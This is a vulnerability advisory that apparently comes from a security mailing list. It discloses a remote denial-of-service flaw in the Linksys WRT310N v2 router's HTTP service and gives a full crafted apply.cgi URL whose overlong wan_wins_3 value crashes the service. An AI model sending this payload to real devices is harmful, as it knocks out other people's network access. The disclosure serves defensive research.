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Cisco/Linksys HTTP Service Remote DoS (Denial of Service)
From: Carl Benedict <theinfinitenigma () gmail com>
Date: Tue, 23 Apr 2013 21:44:24 -0700

Summary
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Software  : Cisco/Linksys Router OS  
Hardware : WRT310N v2 (others currently untested)
Version   : 2.0.00 (others currently untested)
Website   : http://www.linksys.com
Issue     :  Remote Denial of Service
Severity  : High
Researcher: Carl Benedict (theinfinitenigma)

Product Description
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The Cisco/Linksys WRT310N v2 is a consumer-grade router, wireless access point, and gigabit switch. 

Details
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The HTTP service on this device is vulnerable to a remote denial of service condition via multiple parameters in the 
'setup' form of index.asp.  

wan_wins_0 
wan_wins_1
wan_wins_2
wan_wins_3

These inputs expect fixed-length data in the format of an IP address octet (numbers 0 - 255). While client-side 
protections are in place, no input validation on the server side is performed. One can leverage other vulnerabilities 
reported in this platform (XSS and CSRF) to exacerbate this issue. The page 'apply.cgi' allows HTML forms to be 
submitted via both HTTP POST and HTTP GET requests.  The following crafted link can be used to pass a value greater 
than 18 bytes in one of the above-mentioned paramaters causing the HTTP service to stop responding. 

http://192.168.1.1/apply.cgi?pptp_dhcp=0&submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&dhcp_check=&lan_netmask_0=&lan_netmask_1=&lan_netmask_2=&lan_netmask_3=&timer_interval=30&language=EN&wan_proto=dhcp&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=255.255.255.0&url_address=my.wrt310n&lan_proto=dhcp&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=AAAAAAAAAAAAAAAAAAA&time_zone=-08+1+1&_daylight_time=1

The service will stop responding and become inaccessible for several minutes. After a few minutes, it appears that an 
automated task such as a CRON job restarts the service. 

Authentication is required to perform this action. The application uses HTTP Basic Authentication, which is weak 
(base64-encoded credentials in the format of username:password).  

History
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04/16/2013 : Discovery
04/23/2013 : Advisory released

References
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Cisco/Linksys WRT310N v2 XSS: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2013-3067
Cisco/Linksys WRT310N v2 CSRF: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3068


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